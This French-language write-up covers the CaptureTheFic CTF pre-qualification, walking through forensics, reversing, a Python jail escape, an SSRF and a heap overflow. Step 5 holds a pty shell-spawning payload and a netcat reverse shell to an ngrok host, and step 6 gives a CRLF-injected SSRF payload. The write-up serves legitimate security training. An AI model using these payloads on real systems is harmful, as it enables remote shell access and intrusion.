Le CTF “CaptureTheFic” est organisé par l’équipe de CTF “Hexpresso”. Equipe connue pour ses différents résultats en CTF et pour l’organisation de CTF, tel que le BreizhCTF.
CaptureTheFic se déroule en deux étapes:
- Une étape de pré-qualifications en ligne avec énormément d’équipes;
- Une phase finale au FIC, composée des 14 meilleures équipes issues des pré-qualifications.
Comme ce writeup le montrera, ce CTF n’est pas un jeopardy standard. Cette préqualification comporte 8 étapes et il est nécessaire de terminer une épreuve pour accéder à la suivante.
I. Step 1 - Reverse JS
Event | Challenge | Category | Solves |
---|---|---|---|
CatureTheFic | Step 1 | Web | 674 |
I.1. Etat de l’art
On commence ce premier challenge avec une page web qui nous propose de soumettre un flag. Si le flag n’est pas correct, la page nous répond “NOPE” avec une pop-up.
Pour trouver la bonne entrée, nous essayons de voir si la vérification du flag ne se fait pas côté client. Pour cela, on affiche les sources de la page. Après avoir affiché les sources de la page, on remarque un script JavaScript.
La vérification du flag se fait bien côté client. Il faut maintenant comprendre comment marche ce script.
Le script effectue tout simplement une opération arithmétique entre deux chaînes de caractères qui sont notre flag et une constante “u_u” qui vaut “CTF.By.HexpressoCTF.By.Hexpresso”.
Pour chaque caractère présent dans la chaîne “u_u”, le script va prendre le code UTF-16 du caractère n de la chaîne “u_u”, l’additionner avec le code UTF-16 du caractère n du flag rentré par l’utilisateur puis ajouter 42 x n. Il va ensuite comparer ce nombre à l’élément n du tableau game comme montré dans les lignes de code ci-dessous:
|
|
I.2. Algorithme de rétroingénierie du script JS
Pour résoudre ce challenge, il suffit de calculer flag qui est égal à
|
|
Pour cela on implémente un script python qui est le suivant pour résoudre ce challenge:
|
|
1f1bd383026a5db8145258efb869c48f
Une fois le bon flag soumis, on arrive directement à l’étape 2.
II. Step 2 - Old EXFIL but Gold
https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f
Event | Challenge | Category | Solves |
---|---|---|---|
CatureTheFic | Step 2 | Forensic / Crypto | 531 |
II.1. Etat de l’art
Cette deuxième épreuve nous laisse avec un fichier pcap.
On remarque différents types de flux dont beaucoup de paquets utilisant le protocole DNS. Après avoir suivi le HTTP Stream sur Wireshark de certains paquets, on remarque que l’utilisateur a voulu implémenté un tunnel DNS en python (dnstunnel.py) avec un algorithme de chiffrement maison laissant à désirer.
|
|
On importe en local ce script pour comprendre son fonctionnement.
La méthode de chiffrement est un simple XOR:
|
|
On remarque aussi que la clef est transmise en claire avec les données chiffrées dans la fonction “encrypt” grâce à la ligne suivante:
|
|
Cette clef est le premier octet envoyé lors d’une communication en utilisant ce tunnel DNS maison.
II.2. Fonction de déchiffrement
Il nous suffit maintenant de créer un script qui va prendre le premier octet de données comme clef et qui va nous permettre de déchiffrer le contenu du tunnel DNS comme ci-dessous:
|
|
II.3. Extraction des sous domaines
Une fois cette fonction réalisée, il nous fait extraire tous les sous domaines présents dans le pcap contenant les données chiffrées.
Pour cela on va utiliser l’outil tshark en lui donnant les filtres adéquates.
tshark -r cb52ae4d15503c598f0bb42b8af1ce51.pcap -Y ‘dns.qry.name && ip.src == 172.16.42.99’ -Tfields -e “dns.qry.name” |sed ’s/.local.tux//g’
Cette commande va nous permettre d’extraire les informations utiles pour la résolution de cette étape:
|
|
II.4. Flag
Une fois l’extraction faite, il nous suffit de déchiffrer la sortie de la commande tshark grâce à la fonction de déchiffrement mise en place en II.2:
|
|
Le lien décodé nous donne accès à l’étape 3:
III. Step 3 - Do your Forensic ANALyst job
Event | Challenge | Category | Solves |
---|---|---|---|
CatureTheFic | Step 3 | Forensic | 347 |
III.1. Etat de l’art
Le fichier utilisé pour cette épreuve est un dump de disque:
La première chose à faire de voir les différentes partitions disponibles dans ce fichier:
On voit différentes partitions, dont une partition NTFS qui peut nous intéresser à l’offset 512*128
, soit la taille d’un secteur multiplié par l’offset de début de la partition.
Sur la première image, il est possible de voir des erreurs dans l’output de la commande “file”. Il s’agit peut-être d’une partition endommagée ou chiffrée… Pour en être sûr, regardons les premiers octets de la partition NTFS:
L’en-tête “-FVE-FS-” signifie que nous sommes en présence d’un volume bitlocker.
III.2. Trouver la clé
Pour déchiffrer un volume bitlocker, il existe plusieurs façons:
- Connaitre le mot de passe de l’utilisateur
- Récupérer la clé dans un dump mémoire
- Avoir la clé de récupération bitlocker
Dans notre cas, c’est forcément avec le mot de passe utilisateur. Ne le connaissant pas, il reste 2 possibilitées:
- Bruteforcer le mot de passe
- Deviner le mot de passe
Etant un bourrin dans l’âme, cet article m’a aidé: https://medium.com/adamantsec/write-up-of-bsideslisbon-ctf-df479bff8b7d
Connaissant un peu Hexpresso, je me suis dis que ça ne serait pas du guessing avec un quelque chose d’exotique, donc j’ai tenté de lancer un rockyou:
Le mot de passe bitlocker est donc: password
.
Il ne reste qu’à monter le volume:
III.3. Récupérer les fichiers supprimés
En déchiffrant le volume bitlocker avec dislocker
, puis en montant le volume déchiffré, on se rend rapidement compte qu’il n’y a pas de flag, mais seulement un petit message de la part de l’auteur du challenge.
Dans ma méthodologie d’analyse, la première chose à faire avec un dump de disque est d’inspecter le disque avec testdisk
, à la recherche de fichiers supprimés.
|
|
Le fichier fic.zip
présage plein de bonnes choses. Un coup de “c c” et “q q q q” dans testdisk, et voilà le zip récupéré.
Finalement, l’archive zip nous renvoie vers un gist:
https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411
III.4. Flag
|
|
IV. Step 4 - Wannacry is f*cking back
Event | Challenge | Category | Solves |
---|---|---|---|
CatureTheFic | Step 4 | Reverse / Crypto | 244 |
IV.1. Etat de l’art
Le malware est disponible à l’adresse suivante : https://ctf.hexpresso.fr/5c09555ef0576e6cee46a9ee7a841c8b.zip
Cette épreuve commence donc avec deux fichiers :
|
|
IV.2. Analyse du binaire
En plaçant le binaire “wannafic” dans Ghidra, on remarque très rapidement qu’il y a que très peu de code dans le main:
Tout le traitement se fait dans la fonction “payload_fn”:
Dans la fonction “payload_fn”, les deux lignes encadrées sont importantes:
- Orange: Récupération du timestamp actuel au format epoch ;
- Rouge: Une fonction prenant comme paramètre le contenu du fichier et le timestamp.
Dans la fonction “crypt_fn”, on voit le srand se basant sur le timestamp format epoch (encadré rouge), mais aussi l’algo permettant de chiffrer le fichier en entrée.
La boucle va générer un keystream se basant sur le timestamp et va xorer caractère par caractère:
|
|
L’opération étant réversible, il est possible de déchiffrer le fichier en prenant son timestamp comme base pour générer le keystream.
IV.3. Déchiffrement du fichier
Pour tenter l’hypothèse évoquée ci-dessus, il faut récupérer le timestamp de “flag.txt.crypt”:
|
|
L’argument “%Y” donne le timestamp de la dernière modification du fichier depuis epoch.
Pour hooker la fonction time du binaire et forcer le retour à ce timestamp précis, il existe la technique du “LD_PRELOAD”. Le but est de créer une fonction du même nom, time en l’occurence, pour forcer une action précise.
Dans notre cas, l’action bien précise est de forcer le retour de la fonction time du binaire avec le timestamp du fichier chiffré.
|
|
Avant le lancement du binaire, on renomme le fichier chiffré en flag.txt:
L’output ne ressemble pas à grand chose, mais ce qui est affiché est bien plus petit que le fichier chiffré.
Le caractère \xff
a l’air de péter l’output. Les caractères \x0a
, \x0d
et \x00
risquent de péter l’output également. Une technique “c’est moche mais ça marche”, serait de patcher le fichier chiffrer en remplaçant ces badchars par un caractère imprimable, comme A
par exemple. Le déchiffrement à ces caractères ne fonctionneraient pas, mais avec un peu de chance on pourra quand même récupérer le hash pour passer à la suite.
|
|
IV.4. Flag
|
|
V. Step 5 - PYJAIL 4 FUN
Event | Challenge | Category | Solves |
---|---|---|---|
CatureTheFic | Step 5 | PyJail | 234 |
V.1. Etat de l’art
On commence cette épreuve avec une archive contenant des certificats ssl et une commande socat:
En se connectant, la première chose que je teste est d’afficher une chaine de caractère:
Visiblement, il n’aime pas les simples quotes. Au final, avec la syntaxe suivante il est possible d’afficher la chaine de caractère:
'+print("hello")+'
V.2. Récupération du code
Maintenant qu’on peut executer du python, il est possible de pop un shell grâce à la librairie pty
.
'+__import__("pty").spawn("sh")+'
Cet accès shell permet de récupérer le code du challenge, situé dans “main.py”:
|
|
Le shell timeout au bout de quelque seconde en permanence, ce qui est très embêtant pour faire son énumération. Grâce à la commande nohup
sous Linux, il est possible de créer des process indépendamment de l’utilisateur. C’est à dire que si je fais un reverse shell, il sera accessible même si je timeout.
Avec ngrok
, pas besoin de VPS pour récupérer un shell. L’article de TheLaluka en parle bien: https://thinkloveshare.com/en/hacking/ngrok_your_dockersploit/
Le but de ngrok
est d’ouvrir une socket TCP sur internet bindé à un ncat en écoute.
'+__import__("pty").spawn("sh")+'
nohup nc 0.tcp.ngrok.io 16368 -e /bin/sh >/dev/null 2>&1 &
V.3. Analyse de la pyjail
La fonction get_flag()
de la pyjail est vraiment inréressante:
|
|
flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
: Récupère la valeur de la variable d’environnement “FLAG” et la met dans la variable “flag”;os.environ.update({"FLAG": ""})
: Va clear la variable d’environnement “FLAG”;return flag
: Retourne la valeur de la fonction flag.
Donc ça veut dire que le flag présent dans la variable “flag” est toujours en mémoire lors de la première exécution.
|
|
Quand le script attend une input, le flag est présent en mémoire.
V.4. Debug all the things
En cherchant différents modules, on tombe sur le module pdb
de python qui est le debugger python. Grâce à l’injection de python dans le programme, il est possible de debug directement le script:
'+print(__import__("pdb").set_trace())+'
n
: Instruction suivante;l
: Affiche les sources dans la contexte actuel;p var
: Affiche le contenu de la variable “var”.
Il suffit de passer aux “instructions” suivantes jusqu’à attérir dans la fonction “main()” et afficher le contenu de la variable “flag”.
V.5. Flag
V.6. Bonus
En bonus, il est possible de récupérer le flag plus facilement:
En effet, comme le programme va chercher son flag dans une variable d’environnement, un des process doit l’avoir encore en mémoire.
VI. Step 6 - The Host fetcher
Event | Challenge | Category | Solves |
---|---|---|---|
CaptureTheFic | Step 6 | Web | 184 |
VI.1. Etat des lieux
On commence ce challenge avec un site web. Visiblement il attend une URL en entrée et affiche le retour dans l’Iframe situé sous le bouton “submit”.
Ce challenge ressemble beaucoup à une SSRF. Le but va être de voir s’il est possible de taper sur le localhost:
En l’occurence, 127.0.0.1
est blacklisté. Une technique courante est de passer par l’ipv6, [::]
.
L’iframe renvoit le contenu du port 80, c’est une excellente nouvelle. De plus, les sources de la page nous apprend l’existence d’un endpoint secret
:
[::]/secret
On sait donc sur quoi taper pour avoir le flag.
VI.2. Request-ception
En essayant de taper directement sur le endpoint secret
, ce dernier renvoie une 404. Cependant, si on y passe un paramètre aléatoire, alors un message plus verbeux apparait.
Il faut donc trouver un moyen de set le cookie “GOSESSION” dans la SSRF. Pour celà, il est possible d’injecter des CRLF et construire une requête HTTP:
[::]/secret?a=1 HTTP/1.1\r\nCookie: GOSESSION=test
En principe, la requête utilisée pour la SSRF sera passée avec cette en-tête:
Finalement, avec l’injection CRLF dans le payload de la SSRF il est possible de modifier les en-tete et ainsi obtenir le flag.
VI.3. Flag
VII. Step 7 - PWN me I’m famous
Event | Challenge | Category | Solves |
---|---|---|---|
CatureTheFic | Step 7 | Pwn | 12 |
VII.1. Etat des lieux
On commence donc cette dernière épreuve par un zip chiffré:
Comme tout CTFer qui se respect, toujours faire un peu d’OSINT sur l’équipe orga. Et ça a payé!
En effet, sur le gist de chaign_c
, il y a un dockerfile:
|
|
https://gist.github.com/nongiach/257e5103ef21235d56926bc053af38dc
Il est vrai que ça ressemble beaucoup au challenge actuel. Ce Dockerfile ne nous apprend pas grand chose, sauf qu’il tourne avec une image ubuntu:xenial
.
VII.2. Cassage du zip
Lors du listing des fichiers dans l’archive, on a pu voir la libc-2.23.so
. Selon l’algo de ZIP, il est possible de faire du clair connu avec pkcrack
.
Pour extraire la libc du docker, il suffit de faire un volume partagé entre l’hote et le container:
Le tool pkcrack
a besoin d’un élément dans le zip, du zip en clair de cet élément et finalement déchiffrer le reste du zip.
Maintenant que le zip est déchiffré, il faut réussir le “heapme”
VII. Pwn time (enfin presque)
Lors de l’execution du binaire on remarque que la fonction alarm est appelé ce qui est plutot embetant quand on essaie d’analyser le comportement d’un binaire.
Pour contourner ce problème on modifie juste l’appel de cette fonction par une série de nop
Le binaire patché: http://cloud.id-iot.team/s/42r2nxx7N54PBp8
En analysant le code on remarque que le programme permet de créer un disk de taille donnée par l’utilisateur:
Le programme alloue la taille donnée:
Cependant lorsque le programme permet d’écrire dedans il oublie de checker la taille ce qui permet à l’utilisateur d’écraser les données suivantes de la heap:
Pour rappel lorsque l’on alloue de la mémoire dans la heap la structure de données est la suivante:
|size|data|size|data...
Lorsqu’un chunk est libréré par free il insère le pointeur du bloc précédent.
|size|pointeur|data_restante|size...
Tout ceci s’applique seulement sur des allocations de petites tailles (fastbin).
Maintenant si on s’interesse à ce qui est alloué dans ces chunks, on remarque que c’est la classe Disk
. Les 16 premiers bytes contiennent les adresses des fonctions de la classe. Autrement dit, read et write.
Connaisant la taille allouée lors de la création d’un disque on peut réécrire la taille du prochain bloc de la heap. Ensuite, il est possible d’écrire une nouvelle adresse pour la fonction read permettant de sauter à l’adresse écrite lors de l’overflow:
Maintenant, il est nécessaire de leak la PIE
pour s’avoir où sauter.
taille de 1 pour disque = 24 bytes de données 33ème byte adresse du prochain disk 8 premier bytes de cette meme adresse contient l’adresse de read 8 prochain write //33ème byte fonction read //41ème byte fonction write
cf photo pour un peu plus de précision:
|
|